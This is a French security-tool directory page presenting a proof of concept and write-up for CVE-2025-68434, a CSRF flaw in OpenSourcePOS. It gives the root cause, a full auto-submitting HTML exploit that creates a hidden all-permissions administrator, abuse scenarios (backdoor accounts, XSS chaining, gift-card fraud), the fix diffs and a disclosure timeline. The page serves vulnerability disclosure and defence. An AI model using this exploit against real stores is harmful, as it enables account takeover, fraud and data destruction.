Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-68434-OSPOS-CSRF — PoC & Write-up pour CVE-2025-68434 : CSRF critique dans OpenSourcePOS. Exploite une configuration de filtre désactivée pour permettre à des attaquants non authentifiés de créer silencieusement des comptes Administrateur malveillants, entraînant une prise de contrôle complète du système. Validé sur les versions < 3.4.0. | Kitploit
Outils/GitHubGitHub/nixon-h/cve-2025-68434-ospos-csrf
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubnixon-h/cve-2025-68434-ospos-csrf

CVE-2025-68434-OSPOS-CSRF

Voir le dépôt
312il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

PoC & Write-up pour CVE-2025-68434 : CSRF critique dans OpenSourcePOS. Exploite une configuration de filtre désactivée pour permettre à des attaquants non authentifiés de créer silencieusement des comptes Administrateur malveillants, entraînant une prise de contrôle complète du système. Validé sur les versions < 3.4.0.

Partager

CVE-2025-68434 : Création non autorisée d'administrateur via CSRF dans OpenSourcePOS

MétadonnéesDétails
ID CVECVE-2025-68434
SévéritéCritique (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Type de vulnérabilitéCross-Site Request Forgery (CWE-352)
Versions affectéesOpenSourcePOS v3.4.0, v3.4.1
Version corrigéev3.4.2
Composant vulnérableapp/Config/Filters.php (Global Security Filters)
RapporteurAditya Singh (Nixon-H)

📝 Résumé exécutif

Une vulnérabilité Critique de Cross-Site Request Forgery (CSRF) a été découverte dans la configuration de sécurité centrale d'OpenSourcePOS. Le mécanisme de protection CSRF global de l'application était explicitement désactivé dans le fichier app/Config/Filters.php en raison d'un "TODO" de développement temporaire qui n'a jamais été résolu.

Cette mauvaise configuration permettait à l'application d'accepter des requêtes HTTP modifiant l'état (POST) sans vérifier un jeton anti-contrefaçon valide. Un attaquant distant non authentifié pouvait exploiter cela en amenant un Administrateur connecté à visiter une page malveillante. La page de l'attaquant forcerait alors silencieusement le navigateur de la victime à exécuter des actions administratives ; spécifiquement, créer un nouveau compte Administrateur "Backdoor" avec tous les privilèges ; conduisant à une prise de contrôle complète du système.


🕵️‍♂️ Analyse technique de la cause racine

La configuration vulnérable

La vulnérabilité se trouvait dans la configuration Global Filters (app/Config/Filters.php). Dans CodeIgniter 4, le tableau $globals détermine quels filtres s'exécutent sur chaque requête.

Dans les versions affectées, le filtre csrf a été mis en commentaire dans la liste d'exécution before, désactivant ainsi la protection CSRF pour l'ensemble de l'application.

Code vulnérable (app/Config/Filters.php) :

root@kitploit:~
public array $globals = [
    'before' => [
        'honeypot',
        // 'csrf' => ['except' => 'login'],    // TODO: Temporarily disable CSRF until we get everything sorted
        'invalidchars',
    ],
    // ...
];

Étant donné que cette ligne a été mise en commentaire, le middleware chargé de vérifier csrf_token_name ne s'est jamais exécuté. L'application acceptait toute requête POST de n'importe quelle origine, en s'appuyant uniquement sur le cookie de session (ospos_session) pour l'authentification.


💥 Preuve de concept (PoC)

Scénario d'attaque

  1. Attaquant : Héberge le fichier csrf_exploit.html sur un serveur externe.
  2. Victime : Un administrateur OpenSourcePOS connecté (session active).
  3. Déclencheur : La victime est amenée à cliquer sur un lien vers le site de l'attaquant.
  4. Exécution : La page malveillante se charge, génère un nom d'utilisateur unique aléatoire (pour éviter les conflits) et soumet automatiquement un formulaire caché à l'instance OpenSourcePOS locale de la victime.
  5. Résultat : Un nouveau compte Admin (ex. valid_12345) est créé instantanément.

Code de l'exploit (POC/csrf_exploit.html)

Ceci est la charge utile exacte utilisée pour créer un Administrateur malveillant avec toutes les permissions :

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>OSPOS CSRF Exploit (Verified)</title>
    <style>
        body { font-family: sans-serif; text-align: center; padding: 50px; }
        .status { color: green; font-weight: bold; }
    </style>
</head>
<body>
    <h2>OSPOS Privilege Escalation Exploit</h2>
    <p>Creating Administrator account...</p>
    <p id="msg" class="status">Initializing payload...</p>

    <form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">

        <input type="hidden" name="first_name" value="Valid">
        <input type="hidden" name="last_name" value="User">
        <input type="hidden" name="username" id="username" value="">
        <input type="hidden" name="email" id="email" value="">
        
        <input type="hidden" name="phone_number" value=""> 
        <input type="hidden" name="password" value="Password123!">
        <input type="hidden" name="repeat_password" value="Password123!">
        <input type="hidden" name="gender" value="1">
        <input type="hidden" name="language" value=":">
        
        <input type="hidden" name="address_1" value="">
        <input type="hidden" name="address_2" value="">
        <input type="hidden" name="city" value="">
        <input type="hidden" name="state" value="">
        <input type="hidden" name="zip" value="">
        <input type="hidden" name="country" value="">
        <input type="hidden" name="comments" value="CSRF_PoC_Successful">

        <input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
        <input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
        <input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
        <input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
        <input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
        <input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
        <input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
        <input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
        <input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
        <input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
        <input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
        <input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
        <input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
        <input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
        <input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
        <input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
        <input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
        <input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">

        <input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
        <input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
        <input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
        <input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
        <input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
        
        <input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
        <input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
        <input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
        <input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
        <input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
        <input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
        <input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
        <input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
        <input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
        <input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
        <input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
        <input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
        <input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">

        <input type="hidden" name="honeypot" value="">

        <script>
            // 1. Generate unique ID to ensure valid creation
            var id = Math.floor(Math.random() * 99999);
            var user = "valid_" + id;
            
            // 2. Inject into form
            document.getElementById('username').value = user;
            document.getElementById('email').value = user + "@test.com";
            
            document.getElementById('msg').innerText = "Attacking with user: " + user;

            // 3. Auto-submit
            setTimeout(function() {
                document.getElementById('hackForm').submit();
            }, 1000);
        </script>
    </form>
</body>
</html>

📷 Preuve médiatique

(Les images et fichiers d’exploitation se trouvent dans le dossier POC/)

Capture d'écran 1 : Exécution de l'exploit

Capture d'écran 2 : Compte malveillant créé

🎥 Démonstration vidéo : Cliquez pour regarder / Télécharger la vidéo PoC


⚠️ Scénarios d'impact

1. Persistance d'un admin fantôme (la « Backdoor »)

Le compte créé n'est pas une simple session temporaire ; il s'agit d'une entrée permanente dans la base de données.

  • Impact : Même si le véritable administrateur se déconnecte, l'attaquant conserve un accès indéfini.
  • Furtivité : L'attaquant peut nommer l'utilisateur "System_Updater" ou "Support_Account" pour se fondre parmi les utilisateurs légitimes, lui permettant d'exfiltrer des données pendant des mois sans être détecté.

2. Sabotage de la chaîne d'approvisionnement (chaînage avec XSS)

En utilisant la permission grant_config, l'attaquant peut modifier la configuration du magasin.

  • Attaque : L'attaquant utilise CSRF pour injecter une charge utile JavaScript malveillante dans le champ "Politique de retour" (exploitant CVE-2025-68147).
  • Impact : Cela transforme le système de point de vente en un piège aquatique (watering hole). Chaque employé ou client qui consulte un reçu est infecté par un logiciel malveillant ou voit sa session détournée.

3. Fraude financière et déni de service

  • Fraude : L'attaquant crée des « cartes cadeaux » d'une valeur de milliers de dollars et s'envoie les codes par email.
  • DoS : L'attaquant déclenche une action de suppression en masse (/items/delete), effaçant l'intégralité de la base de données d'inventaire et stoppant les opérations commerciales.

🛡️ Correction

La vulnérabilité a été corrigée dans OpenSourcePOS v3.4.2. La correction a nécessité un changement architectural en plusieurs étapes pour gérer les conditions de course dans l'interface de vente fortement basée sur AJAX.

1. Réactivation du filtre

Dans app/Config/Filters.php, le filtre CSRF global a été décommenté.

root@kitploit:~
     'before' => [
         'honeypot',
-        // 'csrf' => ['except' => 'login'],    // TODO: Temporarily disable CSRF until we get everything sorted
+        'csrf' => ['except' => 'login'],
         'invalidchars',
     ],

2. Modification de la stratégie de stockage de sécurité

Dans app/Config/Security.php, les développeurs sont passés des jetons basés sur les cookies aux jetons basés sur les sessions et ont désactivé la régénération des jetons pour éviter les problèmes avec les requêtes AJAX parallèles (par ex., dans le module Sales).

root@kitploit:~
-   public string $csrfProtection = 'cookie';
+   public string $csrfProtection = 'session';

-   public bool $regenerate = true;
+   public bool $regenerate = false;

3. Gestion des jetons côté frontal

Le fichier app/Views/partial/header_js.php a été mis à jour pour injecter le hash du jeton directement depuis le serveur plutôt que de le lire depuis un cookie côté client, améliorant ainsi la posture de sécurité.

root@kitploit:~
-   var csrf_token = function() {
-       return Cookies.get(cookie_name);
-   };
+   var csrf_token = function() {
+       return "<?= csrf_hash() ?>";
+   };


📅 Calendrier de divulgation

  • 2025-12-12 : Vulnérabilité découverte par Aditya Singh (Nixon-H) lors d'un audit de sécurité manuel.
  • 2025-12-13 : Rapport de divulgation responsable envoyé au mainteneur (Jeroen Peelaerts) via GitHub/Email.
  • 2025-12-14 : Vulnérabilité confirmée par le mainteneur.
  • 2025-12-16 : Correctif développé (Commit d575c8d) et vérifié par le chercheur.
  • 2025-12-19 : Correctif publié dans la version 3.4.2.
  • 2025-12-19 : Divulgation publique via GitHub Security Advisory.

🔗 Références

  • Avis : GHSA-wjm4-hfwg-5w5r
  • Correctif : Commit d575c8d
  • Rapporteur : Aditya Singh (Nixon-H)
Télécharger l’outil